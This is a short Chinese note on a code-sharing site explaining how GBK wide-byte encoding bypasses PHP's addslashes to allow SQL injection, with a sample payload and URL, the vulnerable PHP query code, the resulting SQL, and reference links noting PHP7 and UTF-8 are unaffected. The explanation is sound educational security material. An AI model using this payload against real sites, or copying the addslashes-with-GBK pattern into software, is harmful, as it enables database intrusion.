首页
导航
博客
电子书
算法
众创
代码
随贴
关于我们
您好,欢迎来到码863代码分享网! 请
[登录]
/
[注册]
搜 索
标题:
*
140
字
TAG标签:
(用空格隔开)
30
字
恢复历史版本:
请选择分类
html
python
javascript
php
sql
c
c++
c#
java
plain
所有人可见
仅自己可见
编辑器:UEditor
编辑器:TinyMCE
编辑器:Editor.md
HTML转MD
HTML转MD2
<p><a href="https://bbs.ichunqiu.com/thread-10899-1-1.html" _src="https://bbs.ichunqiu.com/thread-10899-1-1.html">https://bbs.ichunqiu.com/thread-10899-1-1.html</a> </p><p><a href="http://www.91ri.org/8611.html" _src="http://www.91ri.org/8611.html">http://www.91ri.org/8611.html</a> 这两篇解释绕过addslashes注入原理</p><p>以下原创</p><p>绕过addslashes注入原理,使用GBK编码的时候,会认为两个字符(前一个ascii码要大于128,%80以上的)是一个汉字 </p><p>gbk编码下php5.6.9版本及以下,输入%89%27(%89') $id=addslashes($_GET['id'])会生成字符串: <span style="font-family: monospace; font-size: medium; white-space: pre-wrap;">1噂',因为%89加\(%5c)会合成<span style="font-family: monospace; font-size: medium; white-space: pre-wrap;">噂字,闭合单引号,后面可接任何sql</span></span></p><p><span style="font-family: monospace; font-size: medium; white-space: pre-wrap;"><br/></span></p><p><span style="font-family: monospace; font-size: medium; white-space: pre-wrap;">输入id 1%89'and 1;%23 完整<span style="font-family: monospace; font-size: medium; white-space: pre-wrap;">url </span>test.net/index.php?id=1%89%27and%201;%23 注入成功(%23为#url下认为是锚,所以用%23)</span></p><p><span style="font-family: monospace; font-size: medium; white-space: pre-wrap;"></span></p><p>$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;</p><p><span style="font-family: monospace; font-size: medium; white-space: pre-wrap;"></span>$sql = "SELECT * FROM news WHERE tid='{$id}'";</p><p>$sql字符串变成 </p><table><tbody><tr class="firstRow"><td class="line-number" value="1"><br/></td><td class="line-content">SELECT * FROM news WHERE tid='1噂'and 1;#'</td></tr></tbody></table><p><span style="font-family: monospace; font-size: medium; white-space: pre-wrap;"></span><br/></p><p><a href="http://blog.csdn.net/hornedreaper1988/article/details/43520257" target="_self">http://blog.csdn.net/hornedreaper1988/article/details/43520257</a> 这篇有最下面有解决方法</p><p><br/></p><p>结论:php7及以上(gbk下不会把\合成没),utf8编码不能注入(UTF8编码不能绕过单引号转义进行注入)。</p><p><br/></p><p>其它参考 </p><p><a href="https://www.cnblogs.com/lcamry/articles/5625276.html" _src="https://www.cnblogs.com/lcamry/articles/5625276.html">https://www.cnblogs.com/lcamry/articles/5625276.html</a> </p><p><a href="http://www.redicecn.com/html/PHP/20101203/198.html" _src="http://www.redicecn.com/html/PHP/20101203/198.html">http://www.redicecn.com/html/PHP/20101203/198.html</a> </p><p><a href="http://blog.csdn.net/c465869935/article/details/54407084" _src="http://blog.csdn.net/c465869935/article/details/54407084">http://blog.csdn.net/c465869935/article/details/54407084</a> 这篇重要 编码安全问题</p>
CopyRight 2002~2023 精通2100网 联系邮箱:qqtxt@163.com
版权所有:精通2100网
湘ICP备2023018646号-1
MYSQl共执行 4 个查询,用时 0.0018100738525391 秒,PHP脚本用时 0.003874 秒,占用内存 0.510 MB,Gzip 已启用